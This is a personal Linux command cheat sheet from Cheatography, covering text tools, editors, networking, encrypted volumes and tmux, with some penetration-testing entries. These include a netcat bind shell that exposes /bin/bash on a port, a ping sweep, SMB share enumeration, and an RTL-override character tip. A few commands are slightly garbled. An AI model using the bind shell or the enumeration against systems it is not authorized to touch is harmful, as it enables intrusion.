Cheatography

Linux Things I Forget Cheat Sheet

by fred via cheatography.com/22666/cs/9068/

AWK | CAT | GREP

AWK

Find line number of IP

awk '/197.128.145.39/{
print NR; exit }' ips.txt

CAT

With line numbers

cat -n file.txt

GREP

grep "href=" index.html | cut -d"/" f3 | grep icq.com | sort -u > icqserver.txt

Count occurences of \x in 1906.py

cat 1906.py | grep -o \x |wc -l Find line number of IP grep -n 197.128.145.39 ips.txt

Network

Show all eth network interfaces, e.g. eth0, eth1...

dmesg | grep ^eth

Restart Networking

sudo service networkmanager restart

Whatportis

pip install whatportis
whatportis 21

CIDR Calculation

sudo apt-get install
sipcalc
sipcalc 192.168.1.0/24

DIFF & NDIFF (File Comparison)

diff file1 file2 (compare files line by line)
ndiff file1 file2 (compare 2 nmap scans for changes)

Boot Process

- 1. Power on
- 2. BIOS
- 3. MBR 1st sector of HDD
- 4. GRUB
- 5. Kernel
- 6. initramfs Initial RAM disk
- 7. init /sbin/init (daemons and services)
- 8. Command shell using getty
- 9. GUI X Windows

Disable services from loading on login

systemctl disable apache2 (disable apache from auto-starting on boot/login)

Unicode

http://superuser.com/questions/59418

/how-to-type-special-characters-in-linux

Example - RTL Override

Hold CTRL+SHIFT+U, then type in 202e

The invisible right-to-left override character will be inserted and anything typed after this character will be backwards.

Command Line Cheatsheet

Create and view interactive cheatsheets on the command-line!

Set editor in path

nano .bashrc (in your home directory)

export EDITOR="/bin/nano"

Install and use cheat

Command Line Cheatsheet (cont)

sudo pip install cheat
cheat netstat

Cheatsheets are stored in ~/.cheat/

Edit a cheatsheet

cheat -e foo

ASCII Table & Calculator

man ascii (show ascii table)
bc (command line calculator)

Permissions

Change ownership

sudo chown username
filename

Clone ownership

chown -reference=otherfile

thisfile

FIND

Case insensitive -iname

sudo find -iname
fileorfoldername
sudo find -iname
fileorfoldername*

XARGS

Pingsweep

echo 192.168.9.{200..250} | xargs -n 1 -P0 ping -c 1 | grep "bytes from"

Run command against files from find

find * | xargs exiftool (Run exiftool against all files in current directory and subdirectories)

TREE (Directory Tree)

Show a directory tree

tree directoryname

Monitoring & Processes

WATCH

watch 1s (run ls every 2secs)

TOP

top (view processes in detail)

htop (better alternative)

CRON JOBS

crontab -e (list and edit cronjobs)

Generate your crontab line easily: http://crontab-generator.org/

SSL Certificates

Follow instructions at https://certbot.eff.org/ To generate an auto-renewal cronjob -

http://crontab-generator.org/

EXAMPLE:

crontab -e

17 3 * /root/certbot-auto renew -- quiet --no-self-upgrade

Hotkeys

Nautilus (Switch views)

CTRL+1

CTRL+2

CTRL+3

CTRL+H (show hidden)

CTRL+L (show location)

Nautilus Graphical Mode Search

ALT+F2

Deleted files go to

"~/.local/share/Trash/files/"

Delete or CTRL+Delete = Move to Trash

Shift+Delete = Permanent Delete



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VI & VIM

I / INS = Insert Mode

SELECTING TEXT

v = select range

V = select entire line

d = delete selected text

COPY/PASTE

y = copy selection

yy = copy line

p = paste before cursor

DELETE

dd = delete line

x = cut selected text

d\$ = delete from cursor to end of

UNDO / REDO

u = undo last action

CTRL+R = redo last action

EXIT

ZZ = save and quit

:w = save

:q! = quit without saving

FIND AND REPLACE

:%s/eth0/br0/g = find eth0 and replace with br0

:%s##blah#g = find and replace with blah

NANO

Copy and Paste

ALT+6 and CTRL+U

Show line numbers

nano -c filename

Output

To screen and file

command1 2>&1 | tee

log.txt

ls -al | tee file.txt

Append to screen and file

command1 | tee -a log.txt

Multiple Commands

cat rubbish.txt; ls

Netcat Bind Shell

Victim

nc -1vvp 2345 -e

/bin/bash

Attacker

nc -vn 192.168.1.177 2345

Base64 Encode & Decode

python

"blah".encode('base64')

"YXNjaWkxLnR4dA==".decode(

'base64')

Encrypted Volumes

http://askubuntu.com/questions/6359

/mount-encrypted-volumes-

from-command-line#63598
sudo apt-get install

cryptsetup

Decrypt & Mount

sudo cryptsetup luksOpen

/dev/sda1

my_encrypted_volume

sudo mkdir

/media/my_device

sudo mount

/dev/mapper/my_encrypted_v

olume /media/my_device

Unmount & Lock

sudo umount

/media/my_device

sudo cryptsetup luksClose

 ${\tt my_encrypted_volume}$

Auto-mount to Location

sudo udisks --mount

/dev/mapper/my_encrypted_v

olume

IP Assignment

MANUAL

Note: Changes are nonpersistent.

To make changes permanent, edit /etc/network/interfaces file.

ifconfig eth0

192.168.72.100/24 (configure

IP)

route add default gw 192.168.72.2 (add gateway)

echo nameserver 4.2.2.2 >

 ${\tt etc/resolv.conf}$ (add DNS to

resolv.conf)

AUTO

dhclient eth0

ifconfig

killall dhclient

ps -ef | grep dhclient

SMB (Samba, NETBIOS) (cont)

smbclient -I

192.168.92.131 -R

virnet.com -N -U (capital i, -R

= domain, -N = no pass, -U = user)

TMUX

https://danielmiessler.com/study/tmu

ssh blah@x.x.x.x

tmux

nmap -A etc...

CTRL+B, D (to exit and keep

session running)

If the session dies

ssh blah@x.x.x.x

tmux attach (to connect to first

available session)

Proxychains

http://proxychains.sourceforge.net/howto.html

/etc/proxychains.conf

(usage info)

proxychains firefox

google.com

Resolve google.com through proxy specified by proxychains.conf

VNC Server

apt-get install

tightvncserver vncserver

You will require a password to

access your desktops...

View only password? n

netstat -antp | grep vnc

(usually runs on port 5901)

SMB (Samba, NETBIOS)

RPCClient

http://carnal0wnage.attackresearch.c

om/2010/06/more-

with-rpcclient.html

enum4linux -U -o

192.168.1.200

SMBClient

smbclient -L //TARGETIP

(list shares)

smbclient //TARGETIP/tmp

(connect to tmp folder)



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